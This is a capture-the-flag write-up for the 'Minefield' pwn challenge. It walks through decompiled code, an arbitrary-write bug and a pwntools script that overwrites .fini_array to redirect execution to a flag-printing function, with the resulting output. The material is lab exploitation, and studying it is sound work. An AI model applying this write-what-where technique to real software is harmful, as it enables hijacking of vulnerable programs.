[CA HTB] Minefield
I didn’t solve this challenge in the race, but I only understood how to solve it after reading a writeup and understanding how the .fini
and the .fini_array
work.
This challenge is very easy but you need to know what are the sections .fini
and .fini_array
.
In [1]: from pwn import *
In [2]: context.binary = elf = ELF('./minefield')
[*] '/home/eurus/Documents/minefield/minefield'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see here the protection enabled in this elf. Important for this challege are No RELRO and No PIE.
We can start to analyze what the program does:
┌──(eurus㉿ctf)-[~/Documents/minefield]
└─$ ./minefield
Are you ready to plant the mine?
1. No.
2. Yes, I am ready.
> 2
We are ready to proceed then!
Insert type of mine: 2
Insert location to plant: 3
We need to get out of here as soon as possible. Run!
zsh: segmentation fault ./minefield
So we have two user input if we respond at the first question that we are ready to plat a mine. And after that we give this input we have a segmentation fault.
Analyzing this elf with a disassembler we can see that we have a function called _
that cat the flag from the server, so we dont neeto to spawn a shell but we need just to redirect the flow of the program to this function.
unsigned __int64 _(){
size_t s_len; // rax
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
s_len = strlen(aMissionAccompl);
write(1, aMissionAccompl, s_len);
system("cat flag*");
return __readfsqword(0x28u) ^ canary;
}
In the program there are a funtion interesting. This id the mission
function. It take 2 input (type of mine and location plant), it use strtoull
The strtoul() function converts the initial part of the string in nptr to an unsigned long int value according to the given base, which must be between 2 and 36 inclusive, or be the special value 0. So this funtion convert the value of the sting into ull value.
We can see that our input is taken by the r function, this function read from stdin only 9 bytes into nptr and so this mean that our input is only 9 char
unsigned __int64 mission(){
_QWORD *v1; // [rsp+0h] [rbp-30h]
char nptr[10]; // [rsp+14h] [rbp-1Ch] BYREF
char v3[10]; // [rsp+1Eh] [rbp-12h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("Insert type of mine: ");
r(nptr);
ptr_write = (_QWORD *)strtoull(nptr, 0LL, 0);
printf("Insert location to plant: ");
r(value_write);
puts("We need to get out of here as soon as possible. Run!");
*ptr_write = strtoull(value_write, 0LL, 0);
return __readfsqword(0x28u) ^ canary;
}
unsigned __int64 __fastcall r(void *nptr){
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
read(0, nptr, 9uLL);
return __readfsqword(0x28u) ^ canary;
}
So the mission function do this:
- take 9 char as input
- convert this input into a value ull named
ptr_write
- take another input of 9 char as imput
- convert this input into a value ull named
value_write
- finally writes
value_write
inside the memory at addressptr_write
So we can write in any position of the program what we want… at least seems
My first thing was owerwrite the GOT for __stack_chk_fail
with the address of _
and attemp to modify the canary in order to call the function __stack_chk_fail
but we cannot modify the canary, the read are safe as far as this program can be described as safe!
Second thought: overwrite the return address in the stack that we knoe because PIE is disabled, BUT rip
is located on 0x7fffffffdf78
address inside mission function and we can insert only 9 characters so It’s impossible.
Here i was stuck. But then reading the solution I learned something new.
.init 00000000004006C0 00000000004006D7 R . X . L dword 0004 public CODE 64 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 000F FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF
.init_array 0000000000601070 0000000000601078 R W . . L qword 000B public DATA 64 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 000F FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF
.fini 0000000000400CA4 0000000000400CAD R . X . L dword 0007 public CODE 64 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 000F FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF
.fini_array 0000000000601078 0000000000601080 R W . . L qword 000C public DATA 64 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 000F FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF
inside the binary we have this two segment.
The .init and .fini sections have a special purpose. If a function is placed in the .init section, the system will execute it before the main function. Also the functions placed in the .fini section will be executed by the system after the main function returns.
SO we can overwrite the .fini_aray
with the address of the function _
and when pte program return correctly it will execute our function! lets see
In [24]: p = elf.process()
[x] Starting local process '/home/eurus/Documents/minefield/minefield'
[+] Starting local process '/home/eurus/Documents/minefield/minefield': pid 2046
In [25]: p.sendline('2')
In [26]: p.recvuntil(': ')
Out[26]: b'Are you ready to plant the mine?\n1. No.\n2. Yes, I am ready.\n> We are ready to proceed then!\nInsert type of mine: '
In [27]: p.sendline(str(fini_arr))
In [28]: p.recvuntil(': ')
Out[28]: b'Insert location to plant: '
In [29]: p.sendline(str(hex(elf.sym['_'])))
In [30]: p.interactive()
[*] Switching to interactive mode
[*] Process '/home/eurus/Documents/minefield/minefield' stopped with exit code 0 (pid 2046)
We need to get out of here as soon as possible. Run!
Mission accomplished! ✔
HACKAPPATOI{4n0th3r_fl4g}
[*] Got EOF while reading in interactive
and this is the script.
from pwn import *
context.binary = elf = ELF('./minefield')
p = elf.process()
fini_arr = 0x601078
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(fini_arr))
p.recvuntil(': ')
p.sendline(str(hex(elf.sym['_'])))
res = p.recvall()
log.info(str(res).split('\\n')[-2])